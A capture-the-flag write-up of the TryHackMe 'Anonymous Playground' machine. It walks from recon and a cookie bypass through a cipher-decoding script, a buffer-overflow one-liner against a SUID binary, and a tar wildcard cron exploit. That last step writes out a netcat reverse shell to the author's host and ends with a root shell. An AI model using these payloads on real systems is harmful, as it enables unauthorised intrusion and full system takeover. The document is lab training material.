Sept 29, 2020

Overview

How i Hacked my way into Anonymous Playground


Target Informations

Machine Name : Anonymous Playground
IP Adress    : 10.10.0.166
Decription   : hack your way into and prove you have what it takes to become a member of Anonymous
Difficulty   : Rated Hard

Discovery & reconnaissance

As always we will start with nmap to scan for open ports and services :

m3dsec@local:~/anonymousplayground.thm$ nmap -sC -sT -v -oN nmap/nmap_tcp_simple 10.10.0.166
Increasing send delay for 10.10.0.166 from 0 to 5 due to 21 out of 69 dropped probes since last increase.
Nmap scan report for 10.10.0.166
Host is up (0.16s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/zYdHuAKjP
Read data files from: /usr/bin/../share/nmap
# Nmap done -- 1 IP address (1 host up) scanned in 43.22 seconds

We got http on port 80 and ssh on port 22. On port 80 nmap found /robots.txt with a disallowed entry for /zYdHuAKjP

 Web Enumeration

visiting the home page, we got a nice ASCII anonymous mask.

On the Operative tab we got a bunch of usernames, we did extract those usernames for a later use.

m3dsec@local:~$ curl -s http://10.10.0.166/operatives.php|grep '<li>'|awk -F '>' '{print $2}'|tr '<' ' '|awk '{print $1}'|tee usernames.txt
themayor
spooky
darkstar
akaelite
ninja
w0rmer
nameless0ne
0day
szymex
ma1ware
paradox
bee
iamwill
jammy
magna
cryillic
skidy
naughty
thealchemist
itsundae

Let’s check /zYdHuAKjP :

the disallwed entry page said, You have not been granted access. Access denied., checking the cookies we see a cookie named access set to denied

we can easly bypass this by setting the cookies to granted

We instantly noticed the second part of the challenge, we where given a set of random characters, well they are not random, we know that those sets of characters are the key to go further as the room hint said :
You're going to want to write a Python script for this. 'zA' = 'a'.

ORIGIN     : hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN
SEPARATED  : hE zA dC fH zA :: hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN
FILLED     : hE a  dC fH a  :: hE a  dC fH a  hA iJ a  eI aD jB cB hH gA a  fH fN

Our first idea was to reconstruct the pattern with one of the known usernames we retrieved earlier magna.

hE = m
zA = a
dC = g
fH = n
zA = a
::
hE = m
zA = a 
dC = g
fH = n
zA = a
hA = 
iJ = 
zA = a
eI = 
aD = 
jB = 
cB = 
hH = 
gA = 
zA = a 
fH = n 
fN = 

But eventually we didn't had all the required characters to complete the cypher decryption.

Different approach patterns lead us nowhere

   hE zA dC fH zA :: hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN
hE m  -- -- -- -- -- m  -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
dC -- -- g  -- -- -- -- -- g  -- -- -- -- -- -- -- -- -- -- -- -- -- --
fH -- -- -- n  -- -- -- -- -- n  -- -- -- -- -- -- -- -- -- -- -- n  --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
:: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
hE m  -- -- -- -- -- m  -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
dC -- -- g  -- -- -- -- -- g  -- -- -- -- -- -- -- -- -- -- -- -- -- --
fH -- -- -- n  -- -- -- -- -- n  -- -- -- -- -- -- -- -- -- -- -- n  --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
hA -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
iJ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
eI -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
aD -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
jB -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
cB -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
hH -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
gA -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
zA -- a  -- -- a  -- -- a  -- -- a  -- -- a  -- -- -- -- -- -- a  -- --
fH -- -- -- n  -- -- -- -- -- n  -- -- -- -- -- -- -- -- -- -- -- n  --
fN -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

I also tried to extract known words with the same pattern from diffrent wordlists:

cat /usr/share/wordlists/rockyou.txt |grep -E '..a......an.'|head
magna..a......an.
..a......an.
|magna  a      an |
      ceandgabbana
      nnah montana
      teamoalejand
      keancipriano
      sharpayevans
      teamoadriana
      auacampioana
      teamoliliana
      frankthetank

After so much struggle, bvr0n brother find a solution for it in less than 15 min.

hE zA dC fH zA :: hE zA dC fH zA hA iJ zA eI aD jB cB hH gA zA fH fN
m  a  g  n  a  :: m  a  g  *  *  *  *  *  *  *  *  *  *  *  a  n  t
magna:mag***********ant

His idea was :
Taking english alphabet index (26), Every lowercase letter index number will be added to the index number of the Uppercase letter after it. which finally make a number, that number is our final letter from english alphabet index.

Based on his idea we wrote a quick python script to decrypt the cypher for us.

#!/usr/bin/python3
# i need to discover what this one means
# hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN

letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
cypher = ['hE', 'zA', 'dC', 'fH', 'zA', 'hA', 'iJ', 'zA', 'eI', 'aD', 'jB', 'cB', 'hH', 'gA', 'zA', 'fH', 'fN']

f = []
for ll in cypher:
    c1 = int(letters.index(ll[0].lower())) + 1
    c2 = int(letters.index(ll[1].lower())) + 1
    #print(str(ll[0]) + " is " + str(c1))
    #print(str(ll[1]) + " is " + str(c2))
    sum = c1 + c2
    if sum == 27:
        x = 'a'
        f.append(x)
    else:
        x = letters[sum-1]
        f.append(x)

z = ''
for i in f:
    z+=i
print('Your Password is : ' + str(z) )

The final result was magna password to access ssh on the target host.

m3dsec@local:~/anonymousplayground.thm$ ssh magna@10.10.0.166
magna@10.10.0.166's password: mag***********ant
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-109-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Sep 29 10:59:19 UTC 2020

  System load:  0.0                Processes:           118
  Usage of /:   22.9% of 19.56GB   Users logged in:     1
  Memory usage: 37%                IP address for eth0: 10.10.0.166
  Swap usage:   0%


3 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Sep 29 08:12:22 2020 from 10.9.123.226
magna@anonymous-playground:~$ id
uid=1001(magna) gid=1001(magna) groups=1001(magna)

Internal Enumeration

once inside, we start enumerating the target internally, we noticed some valuable stuff that may lead us to get root, therefore compromise the whole system.


Binary Exploitation - Buffer Overflow:

As we move forward, we got a binary file in magna home folder with some special permissions.

magna@anonymous-playground:~$ ls -lat hacktheworld
-rwsr-xr-x 1 root root 8528 Jul 10 01:47 hacktheworld

The file is taking input from the user.

magna@anonymous-playground:~$ ./hacktheworld
Who do you want to hack? CIA
magna@anonymous-playground:~$ 

To understand the functionality of this binary we had to disassemble it, what took our attention are 2 functions, main and call_bash

[0x004006d8]> pdf @main
            ; DATA XREF from entry0 @ 0x40058d
            ;-- rip:56: int main (int argc, char **argv, char **envp);; var int64_t var_50h @ rbp-0x50; var int64_t var_44h @ rbp-0x44; var int64_t var_40h @ rbp-0x40; arg int argc @ rdi; arg char **argv @ rsi0x004006d8      55             push rbp0x004006d9      4889e5         mov rbp, rsp0x004006dc      4883ec50       sub rsp, 0x500x004006e0      897dbc         mov dword [var_44h], edi    ; argc0x004006e3      488975b0       mov qword [var_50h], rsi    ; argv0x004006e7      488d3d1d0100.  lea rdi, qword str.Who_do_you_want_to_hack ; 0x40080b ; "Who do you want to hack? "0x004006ee      b800000000     mov eax, 00x004006f3      e838feffff     call sym.imp.printf         ; int printf(const char *format)0x004006f8      488d45c0       lea rax, qword [var_40h]0x004006fc      4889c7         mov rdi, rax0x004006ff      b800000000     mov eax, 00x00400704      e837feffff     call sym.imp.gets           ; char *gets(char *s)0x00400709      b800000000     mov eax, 00x0040070e      c9             leave
└           0x0040070f      c3             ret
[0x004006d8]> s sym.call_bash
[0x00400657]> pdf
┌ 129: sym.call_bash ();0x00400657      55             push rbp0x00400658      4889e5         mov rbp, rsp0x0040065b      488d3d360100.  lea rdi, qword str.We_are_Anonymous. ; 0x400798 ; "\nWe are Anonymous."0x00400662      e8a9feffff     call sym.imp.puts           ; int puts(const char *s)0x00400667      bf01000000     mov edi, 10x0040066c      e8effeffff     call sym.imp.sleep          ; int sleep(int s)0x00400671      488d3d330100.  lea rdi, qword str.We_are_Legion. ; 0x4007ab ; "We are Legion."0x00400678      e893feffff     call sym.imp.puts           ; int puts(const char *s)0x0040067d      bf01000000     mov edi, 10x00400682      e8d9feffff     call sym.imp.sleep          ; int sleep(int s)0x00400687      488d3d2c0100.  lea rdi, qword str.We_do_not_forgive. ; 0x4007ba ; "We do not forgive."0x0040068e      e87dfeffff     call sym.imp.puts           ; int puts(const char *s)0x00400693      bf01000000     mov edi, 10x00400698      e8c3feffff     call sym.imp.sleep          ; int sleep(int s)0x0040069d      488d3d290100.  lea rdi, qword str.We_do_not_forget. ; 0x4007cd ; "We do not forget."0x004006a4      e867feffff     call sym.imp.puts           ; int puts(const char *s)0x004006a9      bf01000000     mov edi, 10x004006ae      e8adfeffff     call sym.imp.sleep          ; int sleep(int s)0x004006b3      488d3d260100.  lea rdi, qword str.Message_corrupted_...Well...done. ; 0x4007e0 ; "[Message corrupted]...Well...done."0x004006ba      e851feffff     call sym.imp.puts           ; int puts(const char *s)0x004006bf      bf39050000     mov edi, 0x539              ; 13370x004006c4      e887feffff     call sym.imp.setuid
│           0x004006c9      488d3d330100.  lea rdi, qword str.bin_sh   ; 0x400803 ; "/bin/sh"0x004006d0      e84bfeffff     call sym.imp.system         ; int system(const char *string)0x004006d5      90             nop
│           0x004006d6      5d             pop rbp0x004006d7      c3             ret

we can see that call_bash function is not called from main, and its printing multiple strings befor changing the suid to 1337 which is user spooky UID, then it calls /bin/sh

Sounds like a stack buffer overflow, let's check for security measures implemented over the binary :

m3dsec@local:~/anonymousplayground.thm/files$ checksec --file=hacktheworld
[*] '/home/m3dsec/anonymousplayground.thm/files/hacktheworld'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

we can see that NX Byte(No eXecution) is not enabled neither any canary was found, what will make it much easier to exploit.


First i had to find the size of the buffer, and how many character i need to overwrite it.

magna@anonymous-playground:~$ for i in {1..100};do echo $i;python -c "print('A' * $i)"|./hacktheworld ;done
1
Who do you want to hack? 2
Who do you want to hack? 3
Who do you want to hack? 4
Who do you want to hack? 5
Who do you want to hack? 6
Who do you want to hack? 7
Who do you want to hack? 8
Who do you want to hack? 9
...
Who do you want to hack? 72
Segmentation fault (core dumped)
...

we can see that the program crash at 0x48 bytes

let's grab the function address

magna@anonymous-playground:~$ readelf -a hacktheworld |grep -i call_bash
    50: 0000000000400657   129 FUNC    GLOBAL DEFAULT   13 call_bash

Then with a small Python one-liner , we can inject the little-endian encoded address :

magna@anonymous-playground:~$ (python3 -c "print('A'*72 + '\x57\x06\x40\x00\x00\x00\x00\x00\x57\x06\x40\x00\x00\x00\x00\x00')"; cat)|./hacktheworld
Who do you want to hack? 
We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted]...Well...done.

We are Anonymous.
We are Legion.
We do not forgive.
We do not forget.
[Message corrupted]...Well...done.
id
uid=1337(spooky) gid=1001(magna) groups=1001(magna)
python3 -c 'import pty;pty.spawn("/bin/bash")'
spooky@anonymous-playground:~$ export TERM=xterm
spooky@anonymous-playground:~$

This will fill the buffer with 72 'A's, then overwrite the EIP (Extended Instruction Pointer) with our little-endian address, In other words, we just told the program where to go next and what adress to execute.

Note that if we do not put ;cat the adress will be reached and executed but it will exit when the execution is finished, so we will not be able to get an interactive shell.


Privilege escalation - Cron job exploitation.

inspecting the crontab file we noticed a cron running everyminut.

spooky@anonymous-playground:~$ cat /etc/crontab|grep -v '#'
*/1 *   * * *	root	cd /home/spooky && tar -zcf /var/backups/spooky.tgz *

so what is the problem here ? the problem is that tar is suffering from argument pollutions, as tar contain some pretty interesting options that we can be abuseed to get code execution as root, you can read more in paper.

we injected a reverse shell into privesc.sh, and we passed some arguments as files in /home/spooky folder.

spooky@anonymous-playground:/home/spooky$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.123.226 9991 >/tmp/f' > privesc.sh
spooky@anonymous-playground:/home/spooky$ echo "" > "--checkpoint-action=exec=sh privesc.sh"
spooky@anonymous-playground:/home/spooky$ echo "" > --checkpoint=1
spooky@anonymous-playground:/home/spooky$ ls -lat
ls -lat
total 48
drwxr-xr-x 4 spooky spooky 4096 Sep 29 09:43  .
-rw-rw-r-- 1 spooky magna     1 Sep 29 09:43 '--checkpoint=1'
-rw-rw-r-- 1 spooky magna     1 Sep 29 09:43 '--checkpoint-action=exec=sh privesc.sh'
-rw-rw-r-- 1 spooky magna    80 Sep 29 09:42  privesc.sh

once the cron executed, we got a connection back to our host.

m3dsec@local:~/anonymousplayground.thm/files$ nc -vnlp 9991
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9991
Ncat: Listening on 0.0.0.0:9991
Ncat: Connection from 10.10.0.166.
Ncat: Connection from 10.10.0.166:60850.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

And We owned root !


Conclution.

Tryhackme is getting better everyday.



Best Regards

m3dsec.



back to Home